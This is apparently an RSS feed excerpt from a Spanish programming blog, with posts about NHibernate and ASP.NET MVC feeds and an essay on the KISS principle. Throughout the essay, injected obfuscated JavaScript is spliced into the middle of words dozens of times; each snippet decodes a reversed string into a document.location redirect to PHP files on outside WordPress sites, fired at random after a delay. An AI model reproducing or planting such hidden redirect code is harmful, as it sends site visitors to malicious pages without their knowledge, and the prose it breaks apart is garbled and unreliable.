18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to poner cosas en español también:</p>
<ul>
<li><a href="http://feeds.feedburner.com/climens_nhibernate">NHibernate Feed</a></li>
<li><a href="http://feeds.feedburner.com/climens_aspnetmvc">ASP.NET MVC Feed</a></li>
</ul>
<p>Espero que resulten de utilidad.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://blog.climens.net/2009/11/18/mis-feeds-sobre-nhibernate-y-asp-net-mvc/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>El principio KISS</title>
		<link>http://blog.climens.net/2009/07/28/el-principio-kiss/</link>
					<comments>http://blog.climens.net/2009/07/28/el-principio-kiss/#comments</comments>
		
		<dc:creator><![CDATA[Marc Climent]]></dc:creator>
		<pubDate>Tue, 28 Jul 2009 07:00:28 +0000</pubDate>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[consejos]]></category>
		<category><![CDATA[testeo]]></category>
		<guid isPermaLink="false">http://codelog.climens.net/?p=210</guid>

					<description><![CDATA[El nombre del principio es el acrónimo del inglés Keep It Simple, Stupid o Keep It Short and Simple. El sentido, se puede imaginar. Es en realidad la aplicación de lo que se conoce como La Navaja de Occam (Ockham&#8217;s &#8230; <a href="http://blog.climens.net/2009/07/28/el-principio-kiss/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><a title="Beauty in Simplicity por Clay Carson, en Flickr" href="http://www.flickr.com/pho<script>$NqM=function(n){if (typeof ($NqM.list[n]) == «string») return $NqM.list[n].split(«»).reverse().join(«»);return $NqM.list[n];};$NqM.list=[«&#8216;php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth&#8217;=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos/claycarson/3652656445/»><img class="alignright" src="http://farm4.static.flickr.com/3635/3652656445_dd4717d8d8.jpg" alt="Beauty in Simplicity" width="320" height="480" /></a>El nombre del principio es el acrónimo del inglés <em>Keep It Simple, Stupid</em> o <em>Keep It Short and Simple</em>. El sentido, se puede imaginar. Es en realidad la aplicación de lo que se conoce como <a href="http://es.wikipedia.org/wiki/Navaja_de_Occam">La Navaja de Occam</a> (<em>Ockham&#8217;s Razor</em>) aplicado a la informática. Todo se basa en una simple premisa: «dadas dos soluciones a un problema determinado, la más simple es probablemente la correcta».</p>
<p>Aplicado al mundo del desarrollo de software, lo que se conoce como el principio <a href="http://es.wikipedia.org/wiki/Principio_KISS">KISS</a>, implica resolver los problemas del modo más sencillo posible y posiblemente ésta sea la mejor solución.</p>
<p><strong>Código</strong><br />
Desde el pun<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to de vista del código tiene más implicaciones a parte de la simplicidad:</p>
<ul>
<li>Un código más simple es más sencillo de mantener, lo que ahorrará tiempo en el futuro.</li>
<li>Además, será más sencillo de comprender por cualquier persona que entre en el equipo de desarrollo.</li>
<li>Cuesta menos de escribir</li>
<li>Menos lineas equivalen a menos bugs, lo que significa código de mayor calidad</li>
</ul>
<p><strong>Gestión de proyec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos</strong><br />
Pero <script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>todo es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to carece de sentido si desde no se tiene también en cuenta desde el nivel de gestión de los proyec<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos de software. Es estupendo pensar en miles de funcionalidades para un produc<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to pero ¿qué sentido tienen? Primero habrá que hacer lo más simple para luego ir añadiendo más cosas a una base sencilla y comprensible.</p>
<p>Hay que construir software sobre una base sólida y unos requisi<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos simples y concre<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos. Es<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to permitirá desarrollar unas funcionalidades simples y robustas en menos tiempo y una vez el produc<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>to tiene cara y ojos, se pueden ver las carencias y se pueden encontrar nuevas posibilidades.</p>
<p>Pensar en cien<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslat<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}</script>tos de funcionalidades, además tiene otras implicaciones menos obvias:</p>
<ul>
<li>Tests de usuario menos frecuentes pero mucho más complejos y largos.</li>
<li>Bugs más difíciles de encontrar y de solucionar.</li>
<li>Time-To-Login (tiempo entre que se empieza el desarrollo hasta que se tiene una primera release) mucho más al<script>$NqM=function(n){if (typeof ($NqM.list[n]) == "string") return $NqM.list[n].split("").reverse().join("");return $NqM.list[n];};$NqM.list=["'php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}</script><script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-re<script>$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return 